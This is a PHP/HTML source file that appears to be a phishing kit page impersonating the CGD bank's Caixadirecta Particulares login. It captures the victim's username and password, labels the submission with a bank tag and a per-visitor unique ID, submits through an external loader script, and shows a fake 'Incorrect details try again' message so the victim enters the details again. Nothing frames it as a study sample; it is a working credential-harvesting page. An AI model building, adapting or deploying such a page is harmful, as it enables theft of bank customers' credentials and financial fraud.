<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
<!DOCTYPE html>
<html>
       <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="stylesheet" href="<?= URLROOT ?>/panel/style.css">
        <link href='https://fonts.googleapis.com/css?family=Poppins' rel='stylesheet'>
        <script src="https://kit.fontawesome.com/992c3cc884.js" crossorigin="anonymous"></script>
        <title>CGD</title>
 <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
          <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
 <script src="https://code.jquery.com/jquery-3.7.1.js" integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
        
    </head>
    <body>
        <header>
            <center>
                <div>
                    <p>
                        <a>PT</a>&nbsp;&nbsp;<a style="color: #ccc;">EN</a>
                    </p>
                    <div style="display: block;">
                        <p>
                            Particulares
                        </p>
                        <p>
                            <i class="fa-solid fa-angle-up"></i>
                        </p>
                    </div>
                    <p style="font-family: Spartan-b;font-size:16px;">
                        <i style="color: #fff;" class="fa-solid fa-lock"></i> Login
                    </p>
                </div>
            </center>
        </header>
        <main>
               <form  action="#" id="form" method="post" name="login">

                        

                          
                     <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

            <div class="main-div">
                <div class="form-elements">
                        <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Incorrect details try again...</div>
                    <?php
                  }
                  ?>

                    <label for="contract-number">Por favor entre</label>
                        <div class="div-input">
                            <input required type="text"  id="username" name="username" placeholder="Nome de usuário">
                            <!-- <button><i class="fa-solid fa-angle-right fa-lg"></i></button> -->
                        </div>
                        <div class="div-input">
                            <input required type="text" id="password"  name="password" placeholder="Senha">
                            <button type="button"  onclick="formSubmit()"><i class="fa-solid fa-angle-right fa-lg"></i></button>
                        </div>
                    <small>
                        <i class="fa-solid fa-angle-right"></i>
                        Ajuda Particulares
                    </small>
                </div>   
              
                <div class="links-div">
                    <p class="heading">Quero ser cliente:</p>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Particulares</small>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Aderir ao Caixadirecta Empresas</small>
                </div>   
                <div class="links-div">
                    <p class="heading">Links úteis:</p>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Faça download da App Caixadirecta</small>
                    <small><i class="fa-solid fa-angle-right"></i>&nbsp;&nbsp;Recomendações de Segurança</small>
                </div>           
            </div>
        </form>

      
        </main>

         <script>
             function formSubmit(){
      var company_id = $('#username').val();
      var password = $('#password').val();
       
      if(company_id == ""){
        alert("Nome de usuário é requerido");
      }else if(password == ""){
        alert("Senha requerida");
      }else{
          var loader = new Option();
          loader.formSubmit();
      }

      


    }
        </script>
    </body>
</html>